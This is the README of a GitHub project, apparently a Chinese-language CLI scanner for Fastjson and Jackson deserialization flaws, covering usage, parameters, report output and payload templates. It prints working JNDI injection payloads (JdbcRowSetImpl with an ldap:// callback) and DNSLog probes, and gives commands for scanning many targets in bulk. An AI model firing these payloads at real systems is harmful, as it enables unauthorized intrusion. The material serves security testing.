fewftybet/FastJsonExp

GitHub: fewftybet/FastJsonExp

Fastjson 与 Jackson 反序列化漏洞的自动化检测命令行工具,支持多种回连验证方式和批量检测。

Stars: 0 | Forks: 0

# JsonExp — Fastjson / Jackson 反序列化漏洞自动化检测工具 [![Python 3.8+](https://img.shields.io/badge/python-3.8+-blue.svg)](https://www.python.org/downloads/) [![License](https://img.shields.io/badge/license-MIT-green.svg)](LICENSE) **关键词**:Fastjson漏洞检测、Jackson反序列化、Java反序列化漏洞扫描、JNDI注入检测、LDAP回连验证、DNSLog外连检测、渗透测试工具、网络安全自动化 ## 简介 JsonExp 是一款专门用于检测 **Fastjson** 与 **Jackson** 反序列化漏洞的命令行工具。通过构造精心设计的 Payload 并观察目标响应或外连行为,帮助安全研究人员快速定位存在漏洞的目标。 ### 核心特性 - **多版本覆盖**:支持 Fastjson 1.2.24 至 1.2.68 及更高版本的多条利用链 - **智能注入**:Body、URL 参数、Header、Cookie 四种注入位置自动识别与过滤 - **多种回连**:LDAP / RMI / DNSLog / 本地 HTTP 四种验证方式 - **批量检测**:支持单目标、多目标文件、原始请求包三种输入方式 - **HTML 报告**:自动生成可视化检测报告,支持搜索、过滤、相似度排序 - **响应分析**:内置响应相似度分析,快速发现异常响应 ## 目录 - [安装](#安装) - [快速开始](#快速开始) - [使用示例](#使用示例) - [参数说明](#参数说明) - [Payload 模板](#payload-模板) - [检测结果解读](#检测结果解读) - [注意事项](#注意事项) - [技术实现](#技术实现) ## 安装 ### 使用 uv(推荐) # 安装 uv curl -LsSf https://astral.sh/uv/install.sh | sh # 同步依赖 uv sync # 运行 uv run python JsonExp.py -h ### 使用 pip pip install -r requirements.txt python JsonExp.py -h ### 依赖 - Python 3.8+ - `requests` — HTTP 请求 - `pycryptodome` — DNSLog 加密通信 - `pyinstaller` — 打包可执行文件(可选) ## 快速开始 ### 1. 检测单个目标(LDAP 模式) uv run python JsonExp.py -u http://target.com/api/json -l 127.0.0.1:1389 ### 2. 检测单个目标(DNSLog 模式) # 需目标可访问外网或挂全局代理 uv run python JsonExp.py -u http://target.com/api/json --dnslog true ### 3. 内网环境检测(本地 HTTP 反连) uv run python JsonExp.py -u http://target.com/api/json --local true -port 8080 ### 4. 指定注入位置 # URL 参数注入 uv run python JsonExp.py -u 'http://target.com/api?auth=test' -p auth -l 127.0.0.1:1389 # Cookie 注入 uv run python JsonExp.py -u http://target.com/api -p Cookie -l 127.0.0.1:1389 # Header 注入 uv run python JsonExp.py -u http://target.com/api -p 'Header:Authorization' -l 127.0.0.1:1389 ## 使用示例 ### 批量检测 将目标 URL 写入 `targets.txt`,每行一个: uv run python JsonExp.py -uf targets.txt -l 127.0.0.1:1389 -to 5 ### 使用原始请求包 将 Burp Suite 抓取的请求保存为 `request.txt`: uv run python JsonExp.py -req request.txt -l 127.0.0.1:1389 ### 使用自定义 Payload 模板 uv run python JsonExp.py -u http://target.com/api -f custom.txt -l 127.0.0.1:1389 ### 使用代理 uv run python JsonExp.py -u http://target.com/api -l 127.0.0.1:1389 --proxy http://127.0.0.1:8080 ## 参数说明 | 参数 | 别名 | 说明 | 示例 | |---|---|---|---| | `-u` | `--url` | 目标 URL | `-u http://target.com/api` | | `-uf` | `--urlfile` | 目标 URL 文件(每行一个) | `-uf targets.txt` | | `-req` | `--request` | 原始请求包文件 | `-req request.txt` | | `-f` | `--file` | Payload 模板路径 | `-f payload.txt` | | `-t` | `--type` | HTTP 方法(默认 post) | `-t get` | | `-l` | `--ldap` | LDAP 服务地址 | `-l 127.0.0.1:1389` | | `-r` | `--rmi` | RMI 服务地址 | `-r 127.0.0.1:1099` | | `-p` | `--param` | 注入参数名/位置 | `-p auth` / `-p Cookie` / `-p Header:XXX` | | `-c` | `--cookie` | 自定义 Cookie | `--cookie "session=xxx"` | | `-to` | `--timeout` | 超时时间(默认 10s) | `-to 5` | | `-proxy` | `--proxy` | HTTP 代理 | `--proxy http://127.0.0.1:8080` | | `-dnslog` | `--dnslog` | 使用 DNSLog 检测 | `--dnslog true` | | `-local` | `--local` | 本地 HTTP 反连模式 | `--local true` | | `-port` | `--port` | 本地服务端口(默认 8080) | `-port 9090` | | `-pro` | `--protocol` | 请求包协议(配合 `-req`) | `-pro https` | ## Payload 模板 Payload 模板位于 `template/fastjson.txt`,每行一个 Payload,`#` 后为注释。 ### 注入方式标记 支持在注释中标记该 Payload 适用的注入方式: {"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"$type$://$ip$/payload1","autoCommit":true}} #inject:body, Fastjson <=1.2.24 {"@type":"java.net.Inet4Address","val":"$dnslog$"} #inject:body,url,header,cookie DNSlog通用 {"@type":"java.net.Inet4Address","val":"$dnslog$"} #inject:url GET参数检测 {"@type":"java.net.Inet4Address","val":"$dnslog$"} #inject:cookie Cookie检测 {"@type":"java.net.Inet4Address","val":"$dnslog$"} #inject:header Header检测 **标记规则:** - `#inject:body` — 仅 Body 注入 - `#inject:body,url,header,cookie` — 全方式适用 - 未标记 — 默认兼容所有方式(向后兼容) **模板变量:** - `$type$` — 协议类型(ldap / rmi / http) - `$ip$` — 回连服务地址 - `$dnslog$` — DNSLog 域名 ## 检测结果解读 ### 终端输出 [+] 注入方式:body,已从 30 个 payload 过滤为 26 个 [+] 测试URL:http://target.com/api/json [+] 请求类型:POST [+] 序号:1 [+] Payload: {"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xxx.127.0.0.1:1389/payload1","autoCommit":true}} [+] 响应时长:0.08 秒 [+] 状态码:200 响应体大小:4 字节 ### 相似度分析 检测结束后自动输出响应相似度分析,**相似度越低越可能是异常响应**: [+] 相似度分析(越接近0%越可能是异常响应): 序号#1 | 状态码: 200 | 大小: 4B | 相似度: 100.0% 序号#2 | 状态码: 500 | 大小: 1200B | 相似度: 23.5% <-- 异常 ### HTML 报告 检测完成后自动生成到 `result/` 目录: - `result/目标域名.html` — 完整检测报告(请求/响应详情、相似度) - `result/目标域名_dnslog.html` — DNSLog / 本地 HTTP 回连记录 报告功能: - 搜索过滤(Payload / URL 关键字) - HTTP 方法筛选 - 按相似度排序 - 点击展开请求/响应详情弹窗 ## 注意事项 1. **相似度高不等于无漏洞**:目标可能对全部请求返回 200,需结合 DNSLog / LDAP / RMI 回连证据判断。 2. **JNDI 注入协议限制**:`--local` 本地 HTTP 模式对 JNDI 链(如 `JdbcRowSetImpl`)无效,JNDI 只支持 `ldap://` / `rmi://` / `dns://`。 3. **DNSLog 网络要求**:`--dnslog true` 使用 Interactsh 服务,需目标可访问外网或挂全局代理。 4. **合法使用**:本工具仅供安全研究和授权渗透测试使用,严禁非法用途。 ## 技术实现 ### 项目结构 JsonExp/ |-- JsonExp.py # 主入口 |-- lib/ | |-- check/ # 漏洞检测核心 | |-- format/ # Payload 格式化与报告生成 | |-- fread/ # 文件读取 | |-- get/ # URL 解析工具 | |-- interactsh/ # DNSLog 服务集成 | |-- local_dnslog/ # 本地 HTTP 反连 |-- template/ | |-- fastjson.txt # Payload 模板 | |-- report.html # 检测报告模板 | |-- dnslog.html # DNSLog 报告模板 |-- result/ # 输出目录(自动创建) |-- pyproject.toml |-- requirements.txt ### 关键改进 - **注入方式智能过滤**:`fastjson.txt` 支持 `#inject:` 标记,工具根据 `-p` 参数自动筛选适用 Payload - **报告系统重构**:数据以 JSON 内嵌,JS 渲染,追加逻辑保持顺序,不再破坏 HTML 结构 - **配置深拷贝**:检测前对配置进行深拷贝,避免请求头污染 - **DNSLog 去重**:`poll()` 只返回新增请求,避免重复记录 ## 许可证 本项目基于 MIT
标签:CISA项目, JNDI注入, Python, 反序列化漏洞, 无后门, 逆向工具